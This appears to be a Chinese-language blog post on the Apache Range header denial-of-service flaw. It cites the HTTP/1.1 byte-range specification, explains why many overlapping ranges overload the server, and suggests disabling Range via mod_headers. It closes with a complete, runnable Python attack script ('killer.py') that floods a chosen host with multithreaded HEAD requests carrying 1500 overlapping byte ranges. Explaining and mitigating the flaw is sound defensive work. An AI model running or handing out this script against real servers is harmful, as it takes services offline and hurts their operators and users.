Apache Range Header DOS攻击

Apache Range Header DOS攻击

背景
http://lwn.net/Articles/456268/

Http协议之Byte Range
http://www.ietf.org/rfc/rfc2616.txt  (14.35章节)

14.35   Range ....................................................138
   14.35.1    Byte Ranges ...........................................138
   14.35.2    Range Retrieval Requests ..............................139

Apache演示

1. 新建内容为abcdefghijk的txt页面
2. 不带Byte Range Header的请求，请看：


3.带Byte Range Header的请求，请看：



理论上，一旦带上N个Range分片，Apache单次请求压力就是之前的N倍（实际少于N），需要做大量的运算和字符串处理。故构建无穷的分片，单机DOS攻击，就能搞垮Apache Server。


 
 


  
  解决方案
 
1. 等待Apache修复，不过Byte Range是规范要求的，不能算是真正意义上的BUG，不知道会如何修复这个问题 
2. 对于不是下载站点来说，建议禁用Byte Range，具体做法： 
2.1 安装mod_headers模块 
2.2 配置文件加上： RequestHeader unset Range
 
 

最后附上一个攻击脚本，做演示


 
 


  
   1
 
  
  #

  
   encoding:utf8

  
  


  
   2
 
  
  #

  
  !/usr/bin/env python

  
  


  
   3
 
  
  import

  
   socket


  
   4
 
  
  import

  
   threading


  
   5
 
  
  import

  
   sys


  
   6
 
  
  


  
   7
 
  
  headers 

  
  =

  
   

  
  '''

  
  


  
   8
 
  
  HEAD / HTTP/1.1


  
   9
 
  
  Host: %s


  
  10
 
  
  Range: bytes=%s


  
  11
 
  
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8


  
  12
 
  
  


  
  13
 
  
  '''

  
  


  
  14
 
  
  


  
  15
 
  
  #

  
  fragment count and loop count

  
  


  
  16
 
  
  COUNT 

  
  =

  
   

  
  1500

  
  


  
  17
 
  
  #

  
  concurrent count

  
  


  
  18
 
  
  PARALLEL 

  
  =

  
   

  
  50

  
  


  
  19
 
  
  PORT 

  
  =

  
   

  
  80

  
  


  
  20
 
  
  


  
  21
 
  
  def

  
   req(server):


  
  22
 
  
      

  
  try

  
  :


  
  23
 
  
          s 

  
  =

  
   socket.socket(socket.AF_INET, socket.SOCK_STREAM)


  
  24
 
  
          s.connect((server, PORT))


  
  25
 
  
          s.send(headers 

  
  %

  
   (server, fragment(COUNT)))


  
  26
 
  
          s.close()


  
  27
 
  
      

  
  except

  
  :


  
  28
 
  
          

  
  print

  
   

  
  '

  
  Server Seems Weak. Please Stop.

  
  '

  
  


  
  29
 
  
  


  
  30
 
  
  def

  
   fragment(n):


  
  31
 
  
      ret 

  
  =

  
   

  
  ''

  
  


  
  32
 
  
      

  
  for

  
   i 

  
  in

  
   xrange(n):


  
  33
 
  
          

  
  if

  
   i 

  
  ==

  
   0:


  
  34
 
  
              ret 

  
  =

  
   ret 

  
  +

  
   

  
  '

  
  0-

  
  '

  
   

  
  +

  
   str(i 

  
  +

  
   

  
  1

  
  )


  
  35
 
  
          

  
  else

  
  :


  
  36
 
  
              ret 

  
  =

  
   ret 

  
  +

  
   

  
  '

  
  ,0-

  
  '

  
   

  
  +

  
   str(i 

  
  +

  
   

  
  1

  
  )


  
  37
 
  
      

  
  return

  
   ret


  
  38
 
  
  


  
  39
 
  
  def

  
   run(server):


  
  40
 
  
      

  
  for

  
   _ 

  
  in

  
   xrange(COUNT):


  
  41
 
  
          req(server)


  
  42
 
  
  


  
  43
 
  
  if

  
   len(sys.argv) 

  
  !=

  
   

  
  2

  
  :


  
  44
 
  
      

  
  print

  
   

  
  '

  
  killer.py $server

  
  '

  
  


  
  45
 
  
      sys.exit(0)


  
  46
 
  
  


  
  47
 
  
  #

  
  run

  
  


  
  48
 
  
  srv 

  
  =

  
   sys.argv[

  
  1

  
  ]


  
  49
 
  
  for

  
   _ 

  
  in

  
   xrange(PARALLEL):


  
  50
 
  
      threading.Thread(target

  
  =

  
  run, args

  
  =

  
  (srv,)).start()


  
  51